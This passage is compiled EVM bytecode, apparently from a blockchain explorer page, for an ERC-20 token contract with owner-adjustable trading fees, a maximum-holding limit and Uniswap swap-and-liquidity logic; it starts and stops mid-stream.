ffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090612bd9565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110f590612cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461112190612cf9565b801561116e5780601f106111435761010080835404028352916020019161116e565b820191906000526020600020905b81548152906001019060200180831161115157829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd90612bd9565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112bf33848461184a565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890612bd9565b60405180910390fd5b8260098190555081600a819055506113a28284611c8190919063ffffffff16565b600b8190555080600c819055506003600c546113be9190612c99565b600b5410611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612d76565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b90612bd9565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f390612bd9565b60405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168b90612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fa90612de2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600083831115829061182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182591906127ea565b60405180910390fd5b506000838561183d9190612e02565b9050809150509392505050565b60008061185684610dd6565b905060045483826118679190612e36565b1115806118bd5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f390612edc565b60405180910390fd5b611904611cdf565b801561195d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561196b5761196a611db6565b5b6000629896808461197c9190612c99565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a255750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a39578084611a369190612e02565b93505b611ac2846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e69092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611b118787612331565b611b1b5784611b77565b611b768786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146123df565b5b9050611bcb81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6b919061273f565b60405180910390a3600193505050509392505050565b6000808284611c909190612e36565b905083811015611cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccc90612f48565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750601460009054906101000a900460ff16155b8015611d645750601160149054906101000a900460ff165b8015611db15750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e26576013549050611e69565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611ea76002611e99600b54611e8b6009548761255790919063ffffffff16565b6125d190919063ffffffff16565b6125d190919063ffffffff16565b90506000611ebe828461261b90919063ffffffff16565b90506000600267ffffffffffffffff811115611edd57611edc612f68565b5b604051908082528060200260200182016040528015611f0b5781602001602082028036833780820191505090505b5090503081600081518110611f2357611f22612f97565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fee9190612fdb565b8160018151811061200257612001612f97565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a0959493929190613101565b600060405180830381600087803b1580156120ba57600080fd5b505af11580156120ce573d6000803e3d6000fd5b50505050600047905060006121036120f260026009546125d190919063ffffffff16565b600b5461261b90919063ffffffff16565b905060006121416002612133846121256009548861255790919063ffffffff16565b6125d190919063ffffffff16565b6125d190919063ffffffff16565b90506000612158828561261b90919063ffffffff16565b905060008111156121fa576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516121af9061318c565b600060405180830381858888f193505050503d80600081146121ed576040519150601f19603f3d011682016040523d82523d6000602084013e6121f2565b606091505b505080915050505b600087111561230c57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161228c969594939291906131a1565b60606040518083038185885af11580156122aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122cf9190613217565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506828860405161230392919061326a565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123d75750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826123ee5760646123f2565b600d545b9050600061243d6064600c546124089190612c28565b61242f84612421600b548a61255790919063ffffffff16565b61255790919063ffffffff16565b6125d190919063ffffffff16565b905061249181600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612531919061273f565b60405180910390a361254c818661261b90919063ffffffff16565b925050509392505050565b600080830361256957600090506125cb565b600082846125779190612c28565b90508284826125869190612c99565b146125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90613305565b60405180910390fd5b809150505b92915050565b600061261383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612665565b905092915050565b600061265d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e6565b905092915050565b600080831182906126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a391906127ea565b60405180910390fd5b50600083856126bb9190612c99565b9050809150509392505050565b600080fd5b6000819050919050565b6126e0816126cd565b81146126eb57600080fd5b50565b6000813590506126fd816126d7565b92915050565b600060208284031215612719576127186126c8565b5b6000612727848285016126ee565b91505092915050565b612739816126cd565b82525050565b60006020820190506127546000830184612730565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612794578082015181840152602081019050612779565b60008484015250505050565b6000601f19601f8301169050919050565b60006127bc8261275a565b6127c68185612765565b93506127d6818560208601612776565b6127df816127a0565b840191505092915050565b6000602082019050818103600083015261280481846127b1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128378261280c565b9050919050565b6128478161282c565b811461285257600080fd5b50565b6000813590506128648161283e565b92915050565b60008060408385031215612881576128806126c8565b5b600061288f85828601612855565b92505060206128a0858286016126ee565b9150509250929050565b60008115159050919050565b6128bf816128aa565b82525050565b60006020820190506128da60008301846128b6565b92915050565b6128e9816128aa565b81146128f457600080fd5b50565b600081359050612906816128e0565b92915050565b60008060408385031215612923576129226126c8565b5b600061293185828601612855565b9250506020612942858286016128f7565b9150509250929050565b600080600060608486031215612965576129646126c8565b5b600061297386828701612855565b935050602061298486828701612855565b9250506040612995868287016126ee565b9150509250925092565b600060ff82169050919050565b6129b58161299f565b82525050565b60006020820190506129d060008301846129ac565b92915050565b6000602082840312156129ec576129eb6126c8565b5b60006129fa84828501612855565b91505092915050565b612a0c8161282c565b82525050565b6000602082019050612a276000830184612a03565b92915050565b60008060408385031215612a4457612a436126c8565b5b6000612a5285828601612855565b9250506020612a6385828601612855565b9150509250929050565b600080600060608486031215612a8657612a856126c8565b5b6000612a94868287016126ee565b9350506020612aa5868287016126ee565b9250506040612ab6868287016126ee565b9150509250925092565b600080600060608486031215612ad957612ad86126c8565b5b6000612ae7868287016128f7565b9350506020612af8868287016126ee565b9250506040612b09868287016126ee565b9150509250925092565b6000819050919050565b6000612b38612b33612b2e8461280c565b612b13565b61280c565b9050919050565b6000612b4a82612b1d565b9050919050565b6000612b5c82612b3f565b9050919050565b612b6c81612b51565b82525050565b6000602082019050612b876000830184612b63565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612bc3600683612765565b9150612bce82612b8d565b602082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c33826126cd565b9150612c3e836126cd565b9250828202612c4c816126cd565b91508282048414831517612c6357612c62612bf9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ca4826126cd565b9150612caf836126cd565b925082612cbf57612cbe612c6a565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d1157607f821691505b602082108103612d2457612d23612cca565b5b50919050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612d60601c83612765565b9150612d6b82612d2a565b602082019050919050565b60006020820190508181036000830152612d8f81612d53565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612dcc600883612765565b9150612dd782612d96565b602082019050919050565b60006020820190508181036000830152612dfb81612dbf565b9050919050565b6000612e0d826126cd565b9150612e18836126cd565b9250828203905081811115612e3057612e2f612bf9565b5b92915050565b6000612e41826126cd565b9150612e4c836126cd565b9250828201905080821115612e6457612e63612bf9565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b6000612ec6603e83612765565b9150612ed182612e6a565b604082019050919050565b60006020820190508181036000830152612ef581612eb9565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f32601b83612765565b9150612f3d82612efc565b602082019050919050565b60006020820190508181036000830152612f6181612f25565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612fd58161283e565b92915050565b600060208284031215612ff157612ff06126c8565b5b6000612fff84828501612fc6565b91505092915050565b6000819050919050565b600061302d61302861302384613008565b612b13565b6126cd565b9050919050565b61303d81613012565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130788161282c565b82525050565b600061308a838361306f565b60208301905092915050565b6000602082019050919050565b60006130ae82613043565b6130b8818561304e565b93506130c38361305f565b8060005b838110156130f45781516130db888261307e565b97506130e683613096565b9250506001810190506130c7565b5085935050505092915050565b600060a0820190506131166000830188612730565b6131236020830187613034565b818103604083015261313581866130a3565b90506131446060830185612a03565b6131516080830184612730565b9695505050505050565b600081905092915050565b50565b600061317660008361315b565b915061318182613166565b600082019050919050565b600061319782613169565b9150819050919050565b600060c0820190506131b66000830189612a03565b6131c36020830188612730565b6131d06040830187613034565b6131dd6060830186613034565b6131ea6080830185612a03565b6131f760a0830184612730565b979650505050505050565b600081519050613211816126d7565b92915050565b6000806000606084860312156132305761322f6126c8565b5b600061323e86828701613202565b935050602061324f86828701613202565b925050604061326086828701613202565b9150509250925092565b600060408201905061327f6000830185612730565b61328c6020830184612730565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602183612765565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b905091905056fea2646970667358221220a8da590e496e4ac963d8b8475d06bb204131747ed0f02f98fb0036d148d511b064736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c806373a432bb11610102578063ca33e64c11610095578063e96fada211610064578063e96fada2146106bb578063ec72d65f146106e6578063f2fde38b1461070f578063f887ea4014610738576101e3565b8063ca33e64c14610601578063cec10c111461062c578063d088935814610655578063dd62ed3e1461067e576101e3565b8063a4b45c00116100d1578063a4b45c0014610545578063a8aa1b311461056e578063a9059cbb14610599578063acef1a44146105d6576101e3565b806373a432bb1461049b57806378109e54146104c45780638da5cb5b146104ef57806395d89b411461051a576101e3565b80632198cf6c1161017a578063658d4b7f11610149578063658d4b7f146103f35780636ddd17131461041c57806370a0823114610447578063715018a614610484576101e3565b80632198cf6c1461032557806323b872dd1461034e578063313ce5671461038b578063571ac8b0146103b6576101e3565b8063095ea7b3116101b6578063095ea7b314610267578063180b0d7e146102a457806318160ddd146102cf5780631df4ccfc146102fa576101e3565b8063012aa912146101e85780630445b6671461021157806306fdde031461023c576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612703565b610763565b005b34801561021d57600080fd5b50610226610815565b604051610233919061273f565b60405180910390f35b34801561024857600080fd5b5061025161081b565b60405161025e91906127ea565b60405180910390f35b34801561027357600080fd5b5061028e6004803603810190610289919061286a565b6108ad565b60405161029b91906128c5565b60405180910390f35b3480156102b057600080fd5b506102b961099f565b6040516102c6919061273f565b60405180910390f35b3480156102db57600080fd5b506102e46109a5565b6040516102f1919061273f565b60405180910390f35b34801561030657600080fd5b5061030f6109af565b60405161031c919061273f565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061290c565b6109b5565b005b34801561035a57600080fd5b506103756004803603810190610370919061294c565b610a9e565b60405161038291906128c5565b60405180910390f35b34801561039757600080fd5b506103a0610c9e565b6040516103ad91906129bb565b60405180910390f35b3480156103c257600080fd5b506103dd60048036038101906103d891906129d6565b610ca7565b6040516103ea91906128c5565b60405180910390f35b3480156103ff57600080fd5b5061041a6004803603810190610415919061290c565b610cda565b005b34801561042857600080fd5b50610431610dc3565b60405161043e91906128c5565b60405180910390f35b34801561045357600080fd5b5061046e600480360381019061046991906129d6565b610dd6565b60405161047b919061273f565b60405180910390f35b34801561049057600080fd5b50610499610e1f565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906129d6565b610f6b565b005b3480156104d057600080fd5b506104d96110b7565b6040516104e6919061273f565b60405180910390f35b3480156104fb57600080fd5b506105046110bd565b6040516105119190612a12565b60405180910390f35b34801561052657600080fd5b5061052f6110e6565b60405161053c91906127ea565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612a2d565b611178565b005b34801561057a57600080fd5b5061058361128c565b6040516105909190612a12565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb919061286a565b6112b2565b6040516105cd91906128c5565b60405180910390f35b3480156105e257600080fd5b506105eb6112c7565b6040516105f8919061273f565b60405180910390f35b34801561060d57600080fd5b506106166112cd565b6040516106239190612a12565b60405180910390f35b34801561063857600080fd5b50610653600480360381019061064e9190612a6d565b6112f3565b005b34801561066157600080fd5b5061067c60048036038101906106779190612ac0565b611406565b005b34801561068a57600080fd5b506106a560048036038101906106a09190612a2d565b6114c1565b6040516106b2919061273f565b60405180910390f35b3480156106c757600080fd5b506106d0611548565b6040516106dd9190612a12565b60405180910390f35b3480156106f257600080fd5b5061070d60048036038101906107089190612703565b61156e565b005b34801561071b57600080fd5b50610736600480360381019061073191906129d6565b611606565b005b34801561074457600080fd5b5061074d6117c0565b60405161075a9190612b72565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890612bd9565b60405180910390fd5b612710816003546108029190612c28565b61080c9190612c99565b60048190555050565b60125481565b60606001805461082a90612cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461085690612cf9565b80156108a35780601f10610878576101008083540402835291602001916108a3565b820191906000526020600020905b81548152906001019060200180831161088657829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161098d919061273f565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612bd9565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c8a57610c09826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e69092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c9584848461184a565b90509392505050565b60006009905090565b6000610cd3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108ad565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90612bd9565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090612bd9565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110f590612cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461112190612cf9565b801561116e5780601f106111435761010080835404028352916020019161116e565b820191906000526020600020905b81548152906001019060200180831161115157829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd90612bd9565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112bf33848461184a565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890612bd9565b60405180910390fd5b8260098190555081600a819055506113a28284611c8190919063ffffffff16565b600b8190555080600c819055506003600c546113be9190612c99565b600b5410611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612d76565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b90612bd9565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f390612bd9565b60405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168b90612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fa90612de2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600083831115829061182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182591906127ea565b60405180910390fd5b506000838561183d9190612e02565b9050809150509392505050565b60008061185684610dd6565b905060045483826118679190612e36565b1115806118bd5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f390612edc565b60405180910390fd5b611904611cdf565b801561195d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561196b5761196a611db6565b5b6000629896808461197c9190612c99565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a255750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a39578084611a369190612e02565b93505b611ac2846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e69092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611b118787612331565b611b1b5784611b77565b611b768786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146123df565b5b9050611bcb81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6b919061273f565b60405180910390a360019350